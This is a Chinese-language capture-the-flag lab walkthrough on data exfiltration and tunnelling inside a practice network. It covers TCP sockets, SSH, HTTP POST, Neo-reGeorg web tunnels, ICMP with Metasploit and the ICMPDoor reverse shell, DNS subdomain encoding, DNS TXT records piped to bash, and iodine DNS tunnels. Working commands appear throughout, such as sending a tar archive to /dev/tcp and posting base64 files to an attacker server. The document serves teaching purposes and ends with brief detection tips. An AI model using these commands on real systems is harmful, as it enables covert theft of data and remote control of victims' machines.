数据传输与隧道技术详解
实验环境
网络环境

域名与ip配置
| 域名 OR 角色 | IP | 网络划分 |
|---|---|---|
| jump.thm.com | 192.168.0.133 10.10.233.45 |
Net 1 and Net 2 |
| uploader.thm.com | 172.20.0.100 | Net 1 |
| flag.thm.com | ***.**.*.*** | Net 1 |
| victim2.thm.com | 172.20.0.101 | Net 1 |
| web.thm.com | 192.168.0.100 | Net 2 |
| icmp.thm.com | 192.168.0.121 | Net 2 |
| victim1.thm.com | 192.168.0.101 | Net 2 |
数据泄露
主要方法
原理:数据泄露是指未经授权复制敏感数据并将其从组织网络内部移动到外部的过程。这通常发生在网络攻击的最后一个阶段:行动目标。
危害:隐藏攻击,绕过waf等安全产品。
敏感数据可以以各种类型和形式存在,可能包含以下内容:
- 用户名和密码或任何认证信息。
- 银行账户详情
- 商业战略决策。
- 密钥
- 员工和人事信息
- 项目代码数据
数据外泄有三个主要的应用场景,包括:
-
数据外泄:根据协议和数据大小通过网络请求拉取数据(单向)

-
命令与控制通信(C2):受害主机通过执行接收的命令执行后返回结果(双向)

-
隧道技术:通过隧道建立通信,使攻击者可以访问整个内部网络,整个过程中持续收发流量

TCP 套接字
原理
适用场景:这是一个用于非安全环境中可能适用的技术之一,这种环境中没有安全产品,因为这种方式很容易被检测,因为依赖非标准协议。
通信流程:

实操
要准备两个机器:
- 受害主机:
Victim1.thm.com- 用户名:thm
- 密码:tryhackme
- 跳板机/攻击机:
jump.thm.com- IP:10.10.71.206
- 用户名:thm
- 密码: tryhackme
步骤1:在攻击机(JumpBox)上设置监听
在攻击机上使用netcat监听TCP端口8080,准备接收数据:
thm@jump-box$ nc -lvp 8080 > /tmp/task4-creds.data
nc -lvp 8080:启动netcat监听本地8080端口。> /tmp/task4-creds.data:将接收到的数据保存到/tmp/task4-creds.data文件中。
步骤2:连接到受害机(victim1)
从攻击机通过SSH登录到受害机:
thm@jump-box$ ssh thm@victim1.thm.com
或直接从外部攻击箱连接(使用指定端口2022):
root@AttackBox$ ssh thm@10.10.71.206 -p 2022
步骤3:在受害机找到要传输的文件
假设受害机上有一个包含敏感信息的文件task4/creds.txt:
thm@victim1:~$ cat task4/creds.txt
admin:password
Admin:123456
root:toor
步骤4:通过TCP发送文件(数据编码与传输)
在受害机上执行以下命令,将文件编码并通过TCP发送到攻击机的8080端口:
thm@victim1:$ tar zcf - task4/ | base64 | dd conv=ebcdic > /dev/tcp/192.168.0.133/8080
参数说明:
tar zcf - task4/:
z:用gzip压缩。c:创建新归档文件。f -:输出到标准输出(而非文件)。- 将
task4/目录打包并压缩。base64:将二进制数据转换为Base64文本(防止传输乱码)。dd conv=ebcdic:将数据转换为EBCDIC编码(进一步混淆内容)。> /dev/tcp/192.168.0.133/8080:通过TCP发送到攻击机的IP和端口。
执行效果:

步骤5:在攻击机接收并解码数据
1. 接收数据
攻击机的netcat会捕获数据并保存到/tmp/task4-creds.data。
2. 解码数据
将接收到的EBCDIC+Base64数据还原为原始文件:
thm@jump-box:/tmp/$ dd conv=ascii if=task4-creds.data | base64 -d > task4-creds.tar
参数说明:
dd conv=ascii:将EBCDIC编码转换回ASCII。base64 -d:对Base64数据进行解码。> task4-creds.tar:保存解码后的tar文件。
3. 解压文件
解压还原的tar文件:
thm@jump-box:/tmp/$ tar xvf task4-creds.tar
xvf:解压(x)、显示详细过程(v)、指定文件(f)。
4. 验证数据
检查解压后的文件内容是否与原始文件一致:
thm@jump-box$ cat task4/creds.txt
admin:password
Admin:123456
root:toor
可以看到结果和目标是一致的,如图:

SSH
SSH 协议建立了一个安全通道,用于客户端和服务器之间的交互和数据传输,因此所有传输数据在网络或互联网上都是加密的。

数据传输可以通过安全复制协议scp和ssh客户端来进行。
SCP
通过安全复制协议可以直接复制对方的文件到本地:
scp USER@TargetIP:/targetFile ./
SSH客户端
由于对方可能不支持或禁用scp,那么就可以利用ssh客户端达到目的,让目标主动访问连接攻击机,将数据传输过来。
实操
目标主机有一个准备的文件:/task5/creds.txt,连接到目标主机后,打包数据并传输
在受害机上打包数据并传输
在受害机上,使用 tar 命令将目标目录(task5/)打包成一个归档文件,并通过管道直接传输:
tar cf - task5/ | ssh thm@jump.thm.com "cd /tmp/; tar xpf -"
命令分解:
tar cf - task5/:
c:创建新归档。f -:将归档输出到标准输出(而非文件)。task5/:要打包的目录。- 效果:将
task5/目录打包成一个未压缩的归档,直接输出到管道(不保存到磁盘)。ssh thm@jump.thm.com "cd /tmp/; tar xpf -":
ssh:通过SSH连接到攻击机(jump.thm.com)。"cd /tmp/; tar xpf -":在攻击机上执行的命令:
cd /tmp/:切换到攻击机的/tmp/目录(临时目录,通常可写)。tar xpf -:
x:解压归档。p:保留文件权限。f -:从标准输入读取归档数据。
效果:

HTTP(S)
此协议易于隐藏,难以区分合法和恶意流量,在攻击时应该使用post流量,因为使用GET请求时,所有参数都会被记录到日志中,而POST不会,除此以外,还有以下优点:
- POST 请求永远不会被缓存
- POST 请求不会保留在浏览器历史记录中
- POST 请求不能被收藏
- POST 请求对数据长度没有限制
HTTP外泄实操
攻击场景概述
- 攻击者控制的web服务器:
web.thm.com(运行PHP Web服务) - 受害机器:
victim1.thm.com(位于内网192.168.0.0/24) - 跳板机/攻击机:
jump.thm.comip:10.10.163.219 - 目标:将受害主机中
/home/thm/task6目录内容通过HTTP明文协议外泄到攻击者控制的服务器。
攻击步骤分解
攻击者服务器配置
- Web服务设置:
- 部署PHP脚本
contact.php处理POST请求,将接收的file参数内容写入/tmp/http.bs64文件。
<?php if (isset($_POST['file'])) { $file = fopen("/tmp/http.bs64","w"); fwrite($file, $_POST['file']); fclose($file); } ?>- 该脚本通过
$_POST['file']接收数据,并保存为Base64格式文件。
- 部署PHP脚本
数据准备(受害机器)
-
连接到受害机器:
ssh thm@victim1.thm.com # 从JumpBox连接 # 或从AttackBox连接(端口2022) ssh thm@10.10.163.219 -p 2022 -
目标数据定位:
ls -l /home/thm/task6 # 确认待外泄的目录
通过HTTP发送数据
在受害者主机使用curl发送POST请求:
curl --data "file=$(tar zcf - task6 | base64)" http://web.thm.com/contact.php
--data:发送POST请求,参数名file,值为Base64编码的tar包。$(command):Shell命令替换,动态生成数据。tar zcf - task6:将task6目录压缩为gzip格式的tar包(-表示输出到标准输出)。base64:将二进制tar包转换为Base64文本格式,便于HTTP传输。
攻击者服务器接收数据
-
登录攻击者服务器:
ssh thm@web.thm.com -
查看接收的数据:
ls -l /tmp/http.bs64 # 确认文件存在 cat /tmp/http.bs64 # 查看Base64内容(可能包含空格)
修复Base64编码
- 问题:HTTP传输中,
+符号会被替换为空格,导致Base64损坏。 - 修复命令:
sudo sed -i 's/ /+/g' /tmp/http.bs64sed替换所有空格为+,恢复有效Base64格式。
解码与解压数据
- 还原原始文件:
cat /tmp/http.bs64 | base64 -d | tar xvfz -base64 -d:解码Base64为二进制tar包。tar xvfz -:解压tar包到当前目录。
查看得到的内容

HTTPS通信-隧道&泄露
原理详解
1. HTTP隧道的工作机制
- 封装协议:将TCP流量(如HTTP、SSH)嵌入HTTP请求的正文或头部。
- 持久连接:通过多个HTTP请求/响应模拟双向通信,维持长连接。
- 加密与混淆:
- Neo-reGeorg使用AES加密隧道数据,密钥由
-k参数指定。 - HTTP请求内容为加密后的Base64字符串,避免明文暴露敏感信息。
- Neo-reGeorg使用AES加密隧道数据,密钥由
2. SOCKS5代理的作用
- 协议支持:SOCKS5支持TCP/UDP流量,适用于多种应用(如浏览器、SSH)。
- 透明转发:应用程序无需修改,只需配置代理即可通过隧道通信。
3. 流量隐蔽性
- 伪装为正常HTTP流量:防火墙通常允许HTTP(S)流量,隧道流量混入其中。
- 动态请求:隧道客户端与服务端通过频繁的HTTP请求模拟“心跳”,维持连接。
实操
攻击场景概述
- 目标网络结构:
- 外部可访问服务器:
uploader.thm.com(提供文件上传服务) - 内部受限服务器:
flag.thm.com(IP172.20.0.120,仅允许通过隧道访问)
- 外部可访问服务器:
- 攻击工具:Neo-reGeorg(生成加密隧道代理)
- 目标:通过HTTP隧道访问内部服务器(如
flag.thm.com)。
攻击步骤分解
生成加密隧道客户端文件
-
命令执行:
root@AttackBox:/opt/Neo-reGeorg# python3 neoreg.py generate -k thm "$$$$$$'' 'M$ '$$$@m :$$$$$$$$$$$$$$''$$$$' '$' 'JZI'$$& $$$$' '$$$ '$$$$ $$$$ J$$$$' m$$$$ $$$$, $$$$@ '$$$$_ Neo-reGeorg '1t$$$$' '$$$$< '$$$$$$$$$$' $$$$ version 3.8.0 '@$$$$' $$$$' '$$$$ '$$$@ 'z$$$$$$ @$$$ r$$$ $$| '$$v c$$ '$$v $$v$$$$$$$$$# $$x$$$$$$$$$twelve$$$@$' @$$$@L ' '<@$$$$$$$$` $$ '$$$ [ Github ] https://github.com/L-codes/neoreg [+] Mkdir a directory: neoreg_servers [+] Create neoreg server files: => neoreg_servers/tunnel.aspx => neoreg_servers/tunnel.ashx => neoreg_servers/tunnel.jsp => neoreg_servers/tunnel_compatibility.jsp => neoreg_servers/tunnel.jspx => neoreg_servers/tunnel_compatibility.jspx => neoreg_servers/tunnel.php-k thm:指定加密密钥为thm,用于隧道通信的加解密。- 生成文件:在
neoreg_servers/目录下生成多种语言的隧道代理文件(如tunnel.php)。
-
文件作用:
tunnel.php作为客户端代理脚本,部署在受害服务器(uploader.thm.com)上,接收并转发加密的HTTP隧道流量。
上传隧道代理文件
- 上传方式:通过
uploader.thm.com的文件上传功能(使用密钥admin)。 - 文件位置:上传后可通过URL
http://10.10.146.166/uploader访问。

建立HTTP隧道连接
- 启动隧道客户端:
python3 neoreg.py -k thm -u http://10.10.146.166/uploader/files/tunnel.php-k thm:指定与生成文件时相同的密钥,解密通信。-u参数:指向已上传的隧道代理文件URL。- 本地代理:工具在本地
127.0.0.1:1080启动一个SOCKS5代理服务。
通过隧道访问内部服务获取flag
如果要访问目标 flag.thm.com ,其内部 IP 地址为 172.20.0.120 ,端口为 80 ,那么可以使用 curl 通过本地10808端口访问内部服务:
curl --socks5 127.0.0.1:1080 http://172.20.0.120:80/flag
--socks5:指定通过本地SOCKS5代理转发流量。- 流量路径:
- 本地请求通过SOCKS5代理发送到隧道客户端(
tunnel.php)。 tunnel.php将请求封装为HTTP POST/GET请求,发送到攻击者控制的Neo-reGeorg服务端。- Neo-reGeorg服务端解密请求,转发到内部服务器(如
app.thm.com)。 - 响应数据按反向路径返回。
- 本地请求通过SOCKS5代理发送到隧道客户端(
成功拿到flag
ICMP
互联网消息控制协议,一种用于处理错误报告的网络层协议,在网络设备中,如路由器,使用icmp检查设备之间的网络联通性,但不作为数据传输协议。
传输原理
在icmp数据包中有一个data可选部分:

里面的值可为空也可随机填充,那么可用利用这个特性将需要带出的数据写入带出。
一个icmp的实际包案例:

可以看到里面有一个data字段,以及里面随机填充的值。
传输示例
在Linux中的ping可用设置-p参数,可以将转为16进制的字符串设置到data参数中。
字符串进制转换
使用xxd命令将需要传递的字符串进行转换:
root@AttackBox$ echo "thm:tryhackme" | xxd -p
74686d3a7472796861636b6d650a
设置data值
使用-p参数将16进制的值填入data:
root@AttackBox$ ping 10.10.146.166 -c 1 -p 74686d3a7472796861636b6d650a
抓包分析
使用wireshark抓包分析:

可用看到data字段中可以看到设置的字符串(由wireshark自动转换)。
实操
环境准备
- 攻击机:Metasploit(AttackBox)监听ICMP流量。
- 受害机:
icmp.thm.com(IP192.168.0.121)使用nping发送数据。
法一:使用msf进行icmp通信
流程图示

攻击机配置msf
设置监听:
msfconsole
use auxiliary/server/icmp_exfil
set BPF_FILTER icmp and not src 10.10.131.163 # 过滤攻击机自身ICMP
set INTERFACE eth0
run
PS:参数说明
- BPF过滤器:仅捕获目标ICMP包,排除攻击机自身流量。
- 监听接口:选择与目标网络连接的网卡(如
eth0)
发送触发信号(BOF)
在目标主机发送 BOF 触发器,以便 Metasploit 框架开始向磁盘写入:
sudo nping --icmp -c 1 10.10.131.163 --data-string "BOFfile.txt"
PS:参数说明
BOFfile.txt:触发Metasploit开始记录数据,文件名file.txt。nping参数:--icmp指定协议,--data-string填充ICMP数据字段。
传输数据
在目标机器上执行命令,将数据带出:
sudo nping --icmp -c 1 10.10.131.163 --data-string "admin:password"
sudo nping --icmp -c 1 10.10.131.163 --data-string "admin2:password2"
- 每条命令发送一个ICMP包,数据内容为凭据。
结束传输(EOF)
sudo nping --icmp -c 1 ATTACKBOX_IP --data-string "EOF"
- 触发Metasploit停止记录,保存文件到
/root/.msf4/loot/。
技术原理
- 数据封装:利用ICMP Echo请求(Type 8)的数据字段传输内容。
- 触发机制:
- BOF(Begin of File):标记传输开始,指定文件名。
- EOF(End of File):标记传输结束,触发文件保存。
- 隐蔽性:
- 正常ICMP流量不易被防火墙拦截。
- 数据字段无固定格式,可伪装为正常
ping请求。
法二:C2通信-ICMPDoor
ICMPDoor 是一个用 Python3 和 scapy 编写的开源反向 shell,攻击者发送执行命令到目标主机,执行结束后将结果通过icmp返回。
流程图示

部署后门(受害机)
sudo icmpdoor -i eth0 -d 192.168.0.133
PS:参数说明
-i eth0:指定通信网卡。-d 192.168.0.163:C2服务器IP(攻击机)。
启动C2控制端(控制的跳板机)
sudo icmp-cnc -i eth1 -d 192.168.0.121
PS:参数说明
-i eth1:监听网卡(与受害机连通)。-d 192.168.0.121:受害机IP。
远程执行命令获取flag
shell: hostname # 启动C2
- 命令执行结果通过ICMP响应返回。
输入hostname之后就可以输入要执行的命令了,以此得到flag:

技术原理
双向通信:
- 命令下发:攻击机发送ICMP请求,数据字段包含命令。
- 结果回传:受害机执行命令后,通过ICMP响应返回结果。
工具特性:
- ICMPDoor:基于Python3和Scapy库,构造/解析ICMP包。
- 隐蔽性:
- 无TCP/UDP端口开放,绕过端口监控。
- 流量伪装为正常ICMP通信。
DNS
要使用DNS进行数据泄露,需要控制一个域名并设置DNS记录,包括 NS、A 或 TXT。
配置DNS服务
环境准备
在前面给出的网络环境中添加第二个攻击机在网络二中:
| 域名 | IP 地址 | 网络访问 |
|---|---|---|
| attacker.thm.com | 172.20.0.200 | 网络二 |
目的:使在网络2中的攻击机可以通过jumpbox访问网络1中的设备:

设置DNS服务器
在DNS管理站点设置DNS解析规则:http://10.10.194.107/
| 域名记录 | 类型 | 值 |
|---|---|---|
| attNS.tunnel.com | A | 172.20.0.200 |
| att.tunnel.com | NS | attNS.tunnel.com |
DNS记录生效后:
任何对 *.att.tunnel.com 的查询会被路由到攻击者设备:172.20.0.200
配置测试
在jumpbox进行测试,成功解析到flag.thm.com:
DNS数据传输
虽然DNS本身并不是用于传输数据,但有一种方法可用利用其进行传输数据,而且大多数组织的防火墙并不对DNS协议进行监控,那么就可以使用DNS的特性将数据进行拼接为子域名后带外:

将需要带外的数据作为子域名之类的内容拼接到恶意域名,当域名收到解析请求之后就可以将内容提取,获得带外的数据。
但DNS有一些限制:
-
域名总长度:FQDN(完全限定域名)不超过255字符。
-
子域标签长度:每个子域部分(如
passw0rd.tunnel.com中的passw0rd)不超过63字符。
基于这些限制,如果要带出的数据较大,那么就会有很多DNS请求,哪怕是一般不监控DNS数据,也会发现异常。
DNS数据带外的步骤与要求
流程图解

- 攻击者注册一个域名,例如,tunnel.com
- 攻击者将 tunnel.com 的 NS 记录指向攻击者控制的服务器。
- 恶意软件或攻击者将从受害者机器发送敏感数据到他们控制的域名,例如 passw0rd.tunnel.com,其中 passw0rd 是需要传输的数据。
- DNS 请求通过本地 DNS 服务器发送,并通过互联网转发。
- 攻击者的授权 DNS(恶意服务器)接收 DNS 请求。
- 最后,攻击者从域名中提取密码。
适用场景
一个典型的案例就是目标站点、主机不出网,被防火墙隔离过滤了所有流量,但DNS又被允许出网时,就可用通过 DNS 协议使用防火墙传递数据或 TCP/UDP 数据包,但重要的是要确保 DNS 被允许并将域名解析为 IP 地址。

攻击实操
配置DNS记录
按照前面的 配置DNS服务 的操作设置dns记录配置即可:


法一:DNS数据带外
登入控制机attacker
-
连接攻击机:通过SSH登录攻击者机器(
attacker.thm.com:thm:tryhackme)。thm@jump-box$ ssh thm@attacker.thm.com # 通过域名登入 root@AttackBox$ ssh thm@10.10.233.45 -p 2322 # 通过ip登入 -
启动流量捕获:使用
tcpdump监听DNS请求:thm@attacker$ sudo tcpdump -i eth0 udp port 53 -v
受害者机器操作
-
连接受害者机器:通过SSH登录
victim2:thm:tryhackme。thm@jump-box$ ssh thm@victim2.thm.com # 通过域名登入 root@AttackBox$ ssh thm@10.10.233.45 -p 2122 # 通过ip登入 -
查看目标文件:读取
credit.txt内容:thm@victim2:~$ cat task9/credit.txt Name: THM-user Address: 1234 Internet, THM Credit Card: 1234-1234-1234-1234 Expire: 05/05/2022 Code: 1337 -
Base64编码文件:
thm@victim2:~$ cat task9/credit.txt | base64 TmFtZTogVEhNLXVzZXIKQWRkcmVzczogMTIzNCBJbnRlcm5ldCwgVEhNCkNyZWRpdCBDYXJkOiAx MjM0LTEyMzQtMTIzNC0xMjM0CkV4cGlyZTogMDUvMDUvMjAyMgpDb2RlOiAxMzM3Cg==
数据分块与构造DNS请求
-
构造DNS域名:
# 法一:分段法(每18字符为一组,附加子域名) thm@victim2:~$ cat task9/credit.txt | base64 | tr -d "\n"| fold -w18 | sed -r 's/.*/&.att.tunnel.com/' TmFtZTogVEhNLXVzZX.att.tunnel.com IKQWRkcmVzczogMTIz.att.tunnel.com NCBJbnRlcm5ldCwgVE.att.tunnel.com hNCkNyZWRpdCBDYXJk.att.tunnel.com OiAxMjM0LTEyMzQtMT.att.tunnel.com IzNC0xMjM0CkV4cGly.att.tunnel.com ZTogMDUvMDUvMjAyMg.att.tunnel.com pDb2RlOiAxMzM3Cg==.att.tunnel.com # 法二:整体法(用点对每段base64字符进行分割整体传输,附加子域名) thm@victim2:~$ cat task9/credit.txt |base64 | tr -d "\n" | fold -w18 | sed 's/.*/&./' | tr -d "\n" | sed s/$/att.tunnel.com/ TmFtZTogVEhNLXVzZX.IKQWRkcmVzczogMTIz.NCBJbnRlcm5ldCwgVE.hNCkNyZWRpdCBDYXJk.OiAxMjM0LTEyMzQtMT.IzNC0xMjM0CkV4cGly.ZTogMDUvMDUvMjAyMg.pDb2RlOiAxMzM3Cg==.att.tunnel.com -
发送DNS请求:这里使用整体的域名而不是多个
thm@victim2:~$ echo "构造的子域名" | awk '{print "dig +short " $1}' | bash
攻击者接收、解码数据
-
捕获流量:在攻击机的
tcpdump中看到DNS请求:
-
提取并解码数据:
echo "捕获的子域名" | cut -d"." -f1-8 | tr -d "." | base64 -d还原出原始文件内容:

法二:通过C2进行通讯
原理:准备一个包含恶意指令的脚本,将其经base64编码后创建TXT DNS记录,当受害者请求了该TXT记录,解析了返回的脚本内容,那么就会执行准备的恶意脚本,如图所示:

攻击者准备
将要执行的命令放置在脚本文件中,然后将其内容经base64编码:
-
编写脚本:创建恶意脚本(如
/tmp/script.sh):比如使用ping命令#!/bin/bash ping -c 1 test.tunnel.com -
Base64编码脚本:
cat script.sh | base64 # 输出示例:IyEvYmluL2Jhc2gKcGluZyAtYyAxIHRlc3QudGhtLmNvbQo=
设置TXT记录
- 添加DNS记录:在域名控制面板(如
tunnel.com)添加TXT记录:- 名称:
script.tunnel.com - 内容:Base64编码后的脚本。
- 名称:
受害者执行命令
-
查询TXT记录并执行:
# 查询TXT记录并解码base64进行格式化 dig +short -t TXT script.tunnel.com | tr -d "\"" | base64 -d | bash示例:解析flag.thm.com的TXT记录,即可返回flag:
thm@victim2:~$ dig +short -t TXT flag.tunnel.com | tr -d "\"" | base64 -d | bash THM{C-tw0-C0mmun1c4t10ns-0v3r-DN5}
防御检测建议
企业可通过以下方式发现异常:
-
监控DNS日志:
# 查找长域名查询 grep -E 'att\.tunnel\.com' /var/log/dnsqueries.log | awk '{ if (length($0) > 50) print }' -
流量分析:
tshark -i eth0 -Y "dns.qry.name contains att.tunnel.com" -T fields -e dns.qry.name
DNS隧道
类似TCP的通信,DNS隧道技术是在DNS协议上封装其他协议,如HTTP请求,隧道建立了一个稳定的可持续收发数据的通信通道:

实操
配置DNS记录
与普通DNS通信一样,需要先设置DNS解析记录,将恶意站点指向攻击机ip,参考前文的相关操作。
启动iodined服务器(攻击者机器)
在攻击者机器(对外IP:10.10.233.45)运行:
thm@attacker:~$ sudo iodined -f -c -P thmpass 10.1.1.1/24 att.tunnel.com
[sudo] password for thm:
Opened dns0
Setting IP of dns0 to 10.1.1.1
Setting MTU of dns0 to 1130
Opened IPv4 UDP socket
Listening to dns for domain att.tunnel.com
参数说明:
-f:前台运行(调试时可见日志)。-c:跳过客户端IP检查(允许任意客户端连接)。-P thmpass:设置连接密码为thmpass。10.1.1.1/24:为隧道创建虚拟网络接口dns0,服务器IP为10.1.1.1。att.tunnel.com:指定恶意域名(必须与DNS记录一致)。
验证:
-
执行后,攻击者机器会创建
dns0接口:ip addr show dns0 # 确认IP为 10.1.1.1
客户端连接(Jump Box)
注:客户端使用 iodine - withoutd
在Jump Box(对外IP:10.10.233.45)运行:
sudo iodine -P thmpass att.tunnel.com
参数说明:
-P thmpass:与服务端密码一致。att.tunnel.com:服务端域名。
连接成功标志:
-
客户端创建
dns0接口,IP为10.1.1.2:ip addr show dns0 # 确认IP为 10.1.1.2 -
输出显示
Connection setup complete。 -
如图:

PS:一旦建立连接后就可以在新终端通过SSH登录到10.1.1.1,所有通过网络 10.1.1.1/24 的通信都将通过 DNS 进行。
通过SSH建立动态代理
在攻击者机器上,通过DNS隧道连接到Jump Box,并设置SOCKS5代理:
ssh thm@10.1.1.2 -4 -f -N -D 1080
- 参数解析:
-4:强制使用IPv4。-f:后台运行。-N:不执行远程命令(仅建立隧道)。-D 1080:在本地开启SOCKS5代理端口1080。
验证代理:
-
检查本地端口监听:
netstat -tuln | grep 1080 # 应显示 127.0.0.1:1080 监听

通过代理访问内部Web服务
使用代理工具(如 curl 或 ProxyChains)访问内部服务器:
方法1:直接使用curl
thm@attacker:~$ curl --socks5 127.0.0.1:1080 http://192.168.0.100/test.php
<p>THM{DN5-Tunn311n9-1s-c00l}</p>
方法2:配置ProxyChains
1.编辑 /etc/proxychains.conf,添加:
socks5 127.0.0.1 1080
2.通过ProxyChains执行:
proxychains curl http://192.168.0.100/test.php
验证DNS隧道流量
在攻击者机器上抓包,确认流量通过DNS协议:
sudo tcpdump -i eth0 udp port 53 -v
观察输出:会看到大量DNS请求和响应,数据被封装在DNS查询中(如NULL或TXT类型)。


浙公网安备 33010602011771号